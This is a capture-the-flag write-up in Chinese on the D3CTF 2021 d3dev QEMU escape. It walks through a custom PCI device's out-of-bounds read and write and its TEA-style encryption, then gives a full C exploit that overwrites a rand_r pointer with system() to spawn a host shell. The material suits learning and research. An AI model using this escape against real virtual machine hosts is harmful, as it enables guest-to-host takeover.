D3CTF-2021 d3dev 漏洞分析及復現

2022-01-05 看雪學苑


比賽的時間是3.5到3.7(也就是前幾天),當時看了一下pwn第一題,記得題目描述裡出現了三連——easy-signin-baby,感覺應該是pwn裡面最簡單的一題了,準備開搞~
解壓出來是一個docker環境,將rootfs用binwalk解壓,看一下啟動腳本,給的root權限,應該是虛擬機逃逸題了。
#!/bin/sh
mkdir /tmpmount -t tmpfs none /tmpmount -t proc none /procmount -t sysfs none /sysmount -t devtmpfs devtmpfs /dev
exec 0</dev/consoleexec 1>/dev/consoleexec 2>/dev/console
mdev -s
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"echo "Interactive mode\n"setsid /bin/cttyhack setuidgid 0 /bin/sh # 0 即為rootumount /procumount /syspoweroff -d 0 -f

這題當時比賽的時沒有做出來(主要是去玩某個新玩具了,也沒做過這類題目,所以就沒繼續做下去)。最後在github上找到的一個6小時前創建的叫d3ctf-2021-pwn-d3dev的倉庫,據Readme來看應該是出題人發的,簡單的講了一下解題思路,丟了個exp,於是我也跟著分析、復現了一次,順便也寫個文章記錄一下~


1. Qemu
qemu的基本就是模擬了CPU、內存、I/O設備以及其他設備,如果開啟了kvm,kvm會實現CPU以及內存的虛擬。CTF的qemu逃逸類題目基本上都是直接修改了qemu的源碼,在這題裡面,出題人在qemu裡添加了一個pci設備,解題思路是通過設備中的漏洞以此獲取host上的flagqemu的詳細實現原理因為有大佬詳細講過了,想要了解的可以在文末找到相關主題連結自行閱讀。2. PCI設備與qemu的虛擬設備進行I/O交互通常有以下兩種方式,分別是MMIO和PMIO,區別在於是否與設備共享內存,在這題裡面我們兩種都有用到。(1) 內存映射(MMIO)這種方法簡單來講就是直接操作I/O設備的共享內存空間,以此來交互,實現方法就是直接調用mmap映射內存,然後直接通過指針讀寫。
mmap的fd參數為open以下兩個文件之一,flags參數需要傳遞MAP_SHARED屬性。a.設備內存據說(據說有些題目用不到這種): /sys/devices/pci0000:00/0000:00:??.?/resource0(2) 埠映射(PMIO)(resource1)不共享內存空間,需要調用inx和outx函數來進行交互(要先調用iopl(3)來提權


直接把qemu丟進IDA分析,然後看一下qemu的啟動腳本,可以看到有個device參數後面跟了個d3dev,這應該就是漏洞所在的設備名
#!/bin/sh./qemu-system-x86_64 \-L pc-bios/ \-m 128M \-kernel vmlinuz \-initrd rootfs.img \-smp 1 \-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr quiet" \-device d3dev \-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \-nographic \

因為qemu二進位文件裡有DWARF(調試信息),所以直接通過搜索函數名來定位相關函數是可以的,這裡還有一種方法是從_start開始逐步跟下去找到初始化表,然後定位pci設備的註冊表。
具體流程: _libc_csu_init -> _frame_dummy_init_array_entry -> do_qemu_init_pci_d3dev_register_types找到虛擬設備的info表後,我們可以定位到設備的初始化函數d3dev_class_init。
在函數d3dev_class_init裡,我們可以找到設備的vendor_iddevice_id,這兩個值在後面查詢pci設備的時候會用到,這裡我們先記下來。
void __fastcall d3dev_class_init(ObjectClass_0 *a1, void *data){  PCIDeviceClass_0 *v2;   v2 = (PCIDeviceClass_0 *)object_class_dynamic_cast_assert(                             a1,                             (const char *)&env.tlb_table[1][115]._anon_0.dummy[31],                             "/home/eqqie/CTF/qemu-escape/qemu-source/qemu-3.1.0/hw/misc/d3dev.c",                             229,                             "d3dev_class_init");  v2->realize = (void (*)(PCIDevice_0 *, Error_0 **))pci_d3dev_realize;  v2->exit = 0LL;  *(_DWORD *)&v2->vendor_id = 0x11E82333;         v2->revision = 0x10;  v2->class_id = 0xFF;}

跟進pci_d3dev_realize函數裡,這裡分別定義了設備的兩種I/O交互操作函數(即mmio和pmio)以及共享區域的大小(mmio為0x800),以便qemu檢查是否越界。
void __fastcall pci_d3dev_realize(d3devState *pdev, Error_0 **errp){  memory_region_init_io(&pdev->mmio, &pdev->pdev.qdev.parent_obj, &d3dev_mmio_ops, pdev, "d3dev-mmio", 0x800uLL);  pci_register_bar(&pdev->pdev, 0, 0, &pdev->mmio);  memory_region_init_io(&pdev->pmio, &pdev->pdev.qdev.parent_obj, &d3dev_pmio_ops, pdev, "d3dev-pmio", 0x20uLL);  pci_register_bar(&pdev->pdev, 1, 1u, &pdev->pmio);}

在d3dev_mmio_ops和d3dev_pmio_ops兩個結構體裡面,可以找到對應的read、write函數: d3dev_mmio_read、d3dev_mmio_write和d3dev_pmio_read、d3dev_pmio_write 這四個。
.data.rel.ro:0000000000B78980 d3dev_mmio_ops  dq offset d3dev_mmio_read; read.data.rel.ro:0000000000B78980                 dq offset d3dev_mmio_write; write....data.rel.ro:0000000000B78920 d3dev_pmio_ops  dq offset d3dev_pmio_read; read.data.rel.ro:0000000000B78920                 dq offset d3dev_pmio_write; write

逐個函數分析,我們可以看到d3dev_mmio_write函數裡面有一個任意寫
void __fastcall d3dev_mmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size){  ...  if ( size == 4 )  {    offset = opaque->seek + (unsigned int)(addr >> 3);    if ( opaque->mmio_write_part )    {      ...     }    else    {      opaque->mmio_write_part = 1;      opaque->blocks[offset] = (unsigned int)val;    }  }}

通過查看結構體我們可以發現blocks的大小剛好是0x800,也就是我們共享內存的區域,在這裡我們有val、addr可控,但實際上不能通過直接控制addr來溢出,因為PCI設備在內部會檢查這個地址是否越界。這裡其實seek的值也是可控的,具體在d3dev_pmio_write函數裡,控制seek我們就可以利用這個任意寫漏洞。(注意這裡是通過index的方式訪問內存,數組元素大小為8位元組
void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size){  uint32_t *key;   if ( addr == 8 )  {    if ( val <= 0x100 )      opaque->seek = val;                         }  ...}

這裡我們可以看到val值可以是0-0x100之間的任意值,相當於可以溢出控制0x800大小的內存。
uint64_t __fastcall d3dev_mmio_read(d3devState *opaque, hwaddr addr, unsigned int size){  ...  data = opaque->blocks[opaque->seek + (unsigned int)(addr >> 3)];  low = data;  high = HIDWORD(data);  ...   return high;}

繼續分析其他函數,我們可以看到d3dev_mmio_read函數裡其實還有任意讀漏洞,分析到這裡我們就有了任意讀寫d3devState這個結構體附近的內存。現在我們接著分析,看看有什麼地方可以利用來執行system("sh")。
void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size){  uint32_t *key;   if ( addr == 8 )  {    ...  }  else if ( addr > 8 )  {    if ( addr == 28 )    {      opaque->r_seed = val;                           key = opaque->key;      do        *key++ = ((__int64 (__fastcall *)(uint32_t *, __int64, uint64_t, _QWORD))opaque->rand_r)(                   &opaque->r_seed,                   28LL,                   val,                   *(_QWORD *)&size);      while ( key != (uint32_t *)&opaque->rand_r );    }  }  ...}

還是d3dev_pmio_write這個函數裡(前文對這個函數的這部分進行了省略),通過rand_r指針調用了函數,函數的首個參數是r_seed,r_seed這個值我們可以直接通過val控制(這裡直接寫字符串"sh"即可),而rand_r的值需要我們用任意寫來修改(改成system的地址),這樣我們就成功獲取了宿主機的shell。

加解密流程
前面在講任意讀、寫漏洞的時候我們省略了加解密的過程,這裡簡單的說一下,我們先分析d3dev_mmio_read函數:
uint64_t __fastcall d3dev_mmio_read(d3devState *opaque, hwaddr addr, unsigned int size){  uint64_t data;   unsigned int i;   unsigned int low;   uint64_t high;   ...  i = 0xC6EF3720;  low = data;   high = HIDWORD(data);  do  {    LODWORD(high) = high - ((low + i) ^ (opaque->key[3] + (low >> 5)) ^ (opaque->key[2] + 16 * low));    low -= (high + i) ^ (opaque->key[1] + ((unsigned int)high >> 5)) ^ (opaque->key[0] + 16 * high);    i += 0x61C88647;  }  while ( i );  ...  return high;}

我們讀出數據的時候數據被進行了異或加密的處理,其中16low這裡算一下相當於左移4位(直接看彙編也可以)。
其次是這裡用到了結構體裡面的key數組,通過分析可以知道這個key參數實際上是可控的,通過調用d3dev_pmio_write函數可以*直接清零整個key數組。
void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size){  uint32_t *key;   if ( addr == 8 )  {    ...  }  else if ( addr > 8 )  {    ...  }  else if ( addr )  {    if ( addr == 4 )    {      *(_QWORD *)opaque->key = 0LL;                   *(_QWORD *)&opaque->key[2] = 0LL;             }  }  else  {    ...  }}

在這裡我們可以看到ida的反彙編結果有一個類型強轉,0是64位,而key則是有4個32位元素的數組,這兩行操作相當於清零了整個key數組。至於這個函數裡對數據的解密實際上只是加密的逆操作(就是F5出來難看了點),不詳細討論。2. 計算seek值由於我們需要把rand_r的地址覆蓋成system的地址,接下來我們需要計算共享內存開始到rand_r的偏移。
00000000 d3devState      struc ; (sizeof=0x1300, align=0x10, copyof_4545)00000000 pdev            PCIDevice_0 ?000008E0 mmio            MemoryRegion_0 ?000009D0 pmio            MemoryRegion_0 ?00000AC0 memory_mode     dd ?00000AC4 seek            dd ?00000AC8 init_flag       dd ?00000ACC mmio_read_part  dd ?00000AD0 mmio_write_part dd ?00000AD4 r_seed          dd ?00000AD8 blocks          dq 257 dup(?)000012E0 key             dd 4 dup(?)000012F0 rand_r          dq ?                    ; offset000012F8                 db ? ; undefined000012F9                 db ? ; undefined000012FA                 db ? ; undefined000012FB                 db ? ; undefined000012FC                 db ? ; undefined000012FD                 db ? ; undefined000012FE                 db ? ; undefined000012FF                 db ? ; undefined00001300 d3devState      ends

從前面任意寫漏洞我們可以知道blocks即使我們共享內存的區域,從blocks到rand_r的偏移是0x818,blocks是8位元組數組,計算0x818/8=0x103也就是數組的index值,我們可以直接把seek的值設置成0x100,然後將addr往後偏移3*8=24個字節即可對rand_r進行修改。3. 獲取基址設備的pci地址我們可以直接通過執行指令lspci來查看:
# lspci00:01.0 Class 0601: 8086:700000:04.0 Class 0200: 8086:100e00:00.0 Class 0600: 8086:123700:01.3 Class 0680: 8086:711300:03.0 Class 00ff: 2333:11e800:01.1 Class 0101: 8086:701000:02.0 Class 0300: 1234:1111

通過開頭記下的vendor_id和device_id我們可以看出00:03.0對應的就是d3dev設備pci,然後通過cat /sys/devices/pci0000:00/0000:00:03.0/resource可以找到mmio和pmio的基址。
0x00000000febf1000 0x00000000febf17ff 0x00000000000402000x000000000000c040 0x000000000000c05f 0x00000000000401010x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x0000000000000000

febf1000即為mmio基址,c040即為pmio基址。


這題由於可以直接通過靜態分析的結果寫出exp,故省略gdb調試qemu環節。(其實主要因為我不會調試docker裡的qemu,有大佬知道可以留言)
exp可以通過兩種方法傳到客戶機,分別是直接通過python腳本壓縮然後b64上傳(遠程),或者直接修改rootfs然後重新打包回去。這裡介紹第二種方法,為了方便測試我們可以直接寫一個Makefile。
exp:    musl-gcc exp.c -o exp --static -Os    strip -s exp    find . | cpio -H newc -ov -F ../rootfs.cpio    rm exp

之後我們直接cd到rootfs然後make即可,記得也要修改一下launch.sh,將rootfs.img改為rootfs.cpio。
然後根據題目readme重新打包docker鏡像、運行即可。至於第一種方法,基本上腳本都一樣的寫法,沒什麼好說的。


#include <fcntl.h>#include <inttypes.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/mman.h>#include <sys/types.h>#include <unistd.h>#include <sys/io.h> #define libc_system_offset 0x55410#define libc_rand_r_offset 0x4aeb0 const uint32_t mmio_phy_base = 0xfebf1000;const uint32_t mmio_mem_size = 0x800;const uint32_t pmio_phy_base = 0xc040; const char sys_mem_file[] = "/dev/mem"; uint64_t mmio_mem = 0x0; int die(const char *err_info){    printf("[-] Exit with: %s\n.", err_info);    exit(-1);} void *mmap_file(const char *filename, uint32_t size, uint32_t offset){    int fd = open(filename, O_RDWR|O_SYNC);    if(fd<0){        printf("[-] Can not open file: '%s'.\n", filename);        die("OPEN ERROR!");    }    void *ptr = mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, offset);    if(ptr==MAP_FAILED){        printf("[-] Can not mmap file: '*%s'.\n", filename);        die("MMAP ERROR!");    }    close(fd);    return ptr;} void mmio_write(uint64_t addr, uint64_t val){    *(uint64_t *)(mmio_mem+addr) = val;} uint64_t mmio_read(uint64_t addr){    return *(uint64_t *)(mmio_mem+addr);} void pmio_write(uint32_t addr, uint32_t val){    outl(val, pmio_phy_base+addr);} uint32_t pmio_read(uint32_t addr){    return inl(pmio_phy_base+addr);} void decode(uint32_t v[2]){    uint32_t i = 0;    do{        i -= 0x61C88647;        v[0] += ((v[1]<<4))^(v[1]+i)^((v[1]>>5));        v[1] += ((v[0]<<4))^(v[0]+i)^((v[0]>>5));    } while(i!=0xC6EF3720);} void encode(uint32_t v[2]){    uint32_t i = 0xC6EF3720;    do{        v[1] -= ((v[0]<<4))^(v[0]+i)^((v[0]>>5));        v[0] -= ((v[1]<<4))^(v[1]+i)^((v[1]>>5));        i += 0x61C88647;    } while(i);} int main(){    mmio_mem = (uint64_t)mmap_file(sys_mem_file, mmio_mem_size, mmio_phy_base);    printf("[+] Mmap mmio physical memory to [%p-%p].\n", (void *)mmio_mem, (void *)(mmio_mem+mmio_mem_size));    if(iopl(3)) die("PMIO PERMISSION ERROR!");     pmio_write(0, 1);            pmio_write(4, 0);            pmio_write(8, 0x100);        printf("[*] Set block seek: %#x.\n", pmio_read(8));     uint64_t glibc_randr = mmio_read(24);    decode(&glibc_randr);    printf("[*] rand_r@glibc %#lx.\n", glibc_randr);    uint64_t glibc_system = glibc_randr-libc_rand_r_offset+libc_system_offset;    printf("[+] system@glibc: %#lx.\n", glibc_system);     encode(&glibc_system);    printf("[*] Overwrite rand_r ptr.\n");    mmio_write(24, glibc_system);     pmio_write(28, 0x6873);        return 0;}


不出意外執行結果是這樣的,我們成功獲取到了host的shell:


[原創]QEMU逃逸初探-二進位漏洞 - 看雪論壇:https://bbs.pediy.com/thread-265501.htmhttps://www.anquanke.com/post/id/197650https://github.com/yikesoftware/d3ctf-2021-pwn-d3dev
https://github.com/lakwsh/d3ctf-2021-d3devhttps://pan.baidu.com/share/init?surl=1sRN5hMARkkiUpsHYlByyg


看雪ID:lakwsh

https://bbs.pediy.com/user-home-678520.htm

  *本文由看雪論壇 lakwsh 原創,轉載請註明來自看雪社區。

相關焦點

  • d3.js漫遊指南
    d3是一個豐富、廣闊,有時危險的學習領域。d3的API文檔上長長的函數列表也許嚇壞了你,d3主頁上列出的幾十篇教程也許讓你難以選擇。有超過兩萬個d3示例可供學習,但你永遠不知道給定的示例是否容易理解。你大概已經知道d3的API十分繁多,所以這裡我們列出在入門階段特別有幫助的一些工具。d3-scale
  • 嬰兒補充維生素d3的作用,維生素d3什麼牌子好?
    一般來說,三個月的嬰兒去醫院做兒保的時候,醫生會建議給嬰兒及時補充維生素d3,但很多新手爸爸媽媽並不了解嬰兒補充維生素d3的原因是什麼,維生素d3的作用及功能是什麼?作為一位在母嬰領域從業多年的二寶媽,生活中、網絡上經常會被大家問到,嬰兒補充營養這些問題,為此今天就和大家系統的聊聊嬰兒補充維生素d3這點事。
  • 嬰兒維生素d3什麼牌子好?維生素d3和維生素d有什麼不同
    每次帶著寶寶去做兒保的時候,醫生都會詢問有沒有給寶寶補充維生素d,而去購買嬰兒維生素d的時候,店員卻拿出了維生素d3,追問維生素d和維生素d3到底有什麼區別?店員還說不出所以然。這讓很多新媽媽非常疑惑,維生素d和維生素d3到底怎麼選擇?有什麼區別?
  • 兒童維生素d3的攝入量?
    第一、兒童維生素d3的攝入量正常情況下,新生兒補充d3,應該是每天400毫克,而隨著年齡和體重的增長, 再補充d3的時候,需要逐漸加量,六歲的孩子吃維生素d3,每天的攝入量應該在八百毫克 到一千二百毫克以內,至於補充d3的藥物按照什麼樣的計量吃,還要看藥物的每一粒計量是多少,孩子吃的維生素d3多數都是膠囊,給孩子吃的時候儘量將裡面的藥物倒出來給孩 子吃,不要讓孩子吃膠囊皮
  • d3吃多了有副作用嗎?
    在我們的日常生活中,我們可以服用d3來促進我們鈣元素的吸收的,但你也要知道我們每天需要的營養是固定的,此時我們要注意的是用量上面的事項的,那麼d3吃多了有副作用嗎,我來介紹下。一、d3吃多了有副作用副作用也稱副反應,係指應用治療量的藥物後所出現的治療目的以外的藥理作用。
  • D3.js 6.0 穩定版發布,數據可視化 JavaScript 庫 - OSCHINA...
    d3-array 現在使用原生集合(Map and Set)來代替對象字典,並且支持接受任何可迭代項(for-of)而不僅僅是數組。d3.group 和 d3.rollup 目前是強大的新聚合函數,它們取代了 d3.nest,並且與 d3-hierarchy 和 d3-selection 形成良好的搭配使用。
  • 嬰幼兒為什麼要補D3
    維生素D根據結構形式的不同,主要有維生素D2和維生素d3,維生素D2主要由植物性食物提供,維生素d3主要由動物性食物提供,以及7-脫氫膽固醇經紫外線作用轉化生成。可以維持血鈣水平;促使骨、軟骨及牙齒礦化;促進小腸鈣的吸收;促進腎臟對鈣、磷的重吸收。
  • 知識圖譜可視化前奏之d3.js
    知識圖譜可視化前奏之d3.js0.說在前面1.d3.js初識2.繪製完整的柱形圖3.讓圖表動起來4.淺析Update、Enter、Exit5.交互式操作6.作者的話0.說在前面這兩天一直在更機器學習及leetcode,今天來一篇知識圖譜的核心知識,那就是數據可視化,可視化方面霸主地位的d3,從認識到繪圖,你將學會d3基本操作以及前端可視化的套路。
  • 【維生素d2和d3的區別,你真的知道嗎?】
    維生素d2跟d3究竟有什麼區別呢?寶寶究竟更適合d2還是d3呢?今天,我們就來聊聊這兩種維生素d的區別,看完你就知道怎樣給寶寶選擇了。常見的維生素d就是兩種,也就是維生素d2、維生素d3。維生素d2屬於骨化醇,維生素d3屬於膽固化醇。
  • D3基礎教程:最簡單的圖表
    <head><meta charset="utf-8"><title>D3基礎</title><script type="text/javascript" src="/d3
  • 好課資源共享:d3-16-煤老闆客戶倍增操盤手訓練營
    d3-16-煤老闆客戶倍增操盤手訓練營d3-15-0基礎手把手帶你打造年入百萬的個人IP與社群d3-14-20堂社群賺錢全攻略:教你從0到1輕鬆實現引流變現d3-13-12節社群賺錢課:疫情下用社群拯救生意,實現訂單逆勢暴漲d3-12- 一學就會的微信掘金課,教你打造吸金微信群,每月輕鬆多賺3萬元
  • 寶寶維生素d3和維生素d應該怎麼補充,聽聽育兒專家怎麼說?
    但是,好多媽媽也有疑惑,補充維生素的話,維生素d和維生素d3應該怎麼選擇呢?維生素是人和動物為維持正常的生理功能而必須從食物中獲得的一類微量有機物質,在人體生長、代謝、發育過程中發揮著重要的作用。那麼維生素d和維生素d3之間究竟有什麼區別呢,作為一名專業的育兒小編,下面就和大家深入的探討一下。
  • CVE-2019-2215復現及分析
    這個漏洞比較好用,並且利用公開的漏洞能夠root最新機器。基於原始poc代碼任意地址寫的基礎上,在patch kernel繞過了一些緩解機制所做的完整工作,但拿到任意地址的原理、過程並未展開陳述,基於此,筆者開始著手復現並闡述其實現原理以及漏洞利用方法。
  • 「物聯網漏洞復現」TP-Link SR20 本地網絡遠程代碼執行漏洞
    02TDDP協議漏洞的逆向研究使用IDA對該協議漏洞進行逆向分析。本來switch下的每一個case都應該查看分析的,但因為知道了存在漏洞的case在0x31處,所以直接分析case 0x31處的情況。在85行就break了,所以可以鎖定關鍵函數步驟出現在sub_A580函數處。
  • CTF從入門到提升(三)
    類型:Web,密碼學,pwn 程序的邏輯分析,漏洞利用windows
  • CTF入門指南 | 內附教程分享
    capture the flag 奪旗比賽類型:Web密碼學Pwn 程序的邏輯分析,漏洞利用windows、linux、小型機等Misc 雜項,隱寫,數據還原,腦洞、社會工程、與信息安全相關的大數據reverse 逆向Windows、Linux
  • 好課資源共享:d3-06-月入百萬大牛帶你做社群淘客
    d3-06-月入百萬大牛帶你做社群淘客d3-05-從0到1實操引流變現,幫助18W學員月入幾萬到上百萬d3-04-12節社群成交全攻略:教你從0到1,輕鬆實現引流變現!d3-03-21天打卡共讀計劃《社群營銷實戰手冊》,秋葉大叔親自推薦d3-02-梁曉玲 社群運營實戰訓練營,打造個人品牌賺錢d3-01-實體門店怎麼通過微信群收錢78萬課程d3.社群營銷d2-25-賀友會微信視頻號引流與變現全方位玩法d2-24-手繪視頻號全套運營變現操作賺錢教程d2-23-翻轉視頻號-
  • 網絡-networkD3 繪製動態網絡
    make the graph and find membershipkarate <- make_graph("Zachary")wc <- cluster_walktrap(karate)members <- membership(wc)# Convert to object suitable for networkD3karate_d3
  • 朗迪碳酸鈣d3片補鈣效果雖好 也要注意這些「補鈣殺手」
    >朗迪碳酸鈣d3片補鈣效果雖好 也要注意這些「補鈣殺手」2018-01-22 17:07:12出處:PCbaby作者:佚名片(小編老爸、老媽就在用哦(*^▽^*)),說這個產品好一點也不為過,有500mg鈣(小腸每次對鈣的最大吸收量不超過500mg)與200國際單位的維生素d3組成黃金配比,鈣含量和吸收率都有保障(哈哈家裡兩位老人用這個產品前,我早把它的信息查完了,快來誇我孝順罒ω罒)。
  • 挖洞經驗 | 利用開放重定向漏洞劫持GitHub Gist帳戶
    最終的請求構造如下:curl -i 'http://local.dev?一番分析之後,我意識到這個開放重定向漏洞威力還是大的,它會影響幾乎所有的Github控制器路徑。GitHub內置了一些集成的OAuth應用服務,其中就包含了Gist,GitHub Gist和GitHub共享同一個rails應用服務,只是暴露的主機名和路徑不同而已。